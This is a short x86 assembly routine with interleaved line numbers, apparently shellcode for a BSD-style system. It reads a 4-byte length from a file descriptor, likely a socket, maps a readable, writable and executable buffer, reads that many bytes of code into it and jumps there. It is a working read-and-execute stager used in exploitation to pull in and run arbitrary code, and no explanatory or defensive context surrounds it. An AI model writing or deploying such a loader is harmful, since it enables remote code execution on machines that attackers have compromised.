1
_read_exec:
2
	;; Save some stack space
3
	mov	ebp, esp
4
	sub	esp, byte 8
5
	
6
.loop:
7
	xor	ecx, ecx	; clear ecx
8
	mul	ecx		; clear eax and edx
9
	
10
	;; Read a 4-byte size of code fragment to execute
11
	push	ecx
12
	mov	esi, esp
13
	mov	al, 4
14
	push	eax		; nbyte
15
	push	esi		; buf
16
	push	edi		; s
17
	push	eax
18
	dec	eax
19
	int	0x80
20
	jb	end
21
	mov	esi, [esp+16]	; code buffer length
22

23
	;; mmap memory
24
	xor	eax, eax
25
	push	eax		; alignment spacer
26
	push	eax		; 0
27
	dec	eax
28
	push	eax		; -1
29
	inc	eax
30
	mov	ax, 0x1002
31
	push	eax		; (MAP_ANON | MAP_PRIVATE)
32
	xor	eax, eax
33
	mov	al, 7
34
	push	eax		; (PROT_READ | PROT_WRITE | PROT_EXEC)
35
	push	esi		; len
36
	push	edx		; addr
37
	push	edx 		; spacer
38
	mov	al, 197
39
	int	0x80
40
	jb	end
41
	
42
	;; read fragment from file descriptor into mmap buffer
43
	mov	ebx, eax
44
	add	ebx, esi
45
.read_fragment:
46
	push	esi		; nbytes
47
	mov	eax, ebx
48
	sub	eax, esi
49
	push	eax		; buf
50
	push	edi		; s
51
	push	edx		; spacer
52
	xor	eax, eax
53
	mov	al, 3
54
	int	0x80		; read(edi, eax, esi)
55
	jb	end
56

57
	sub	ebx, eax	; Subtract bytes read to buf end pointer
58
	sub	esi, eax	; Subtract bytes read from total
59
	jnz	.read_fragment
60

61
	jmp	ebx
62

63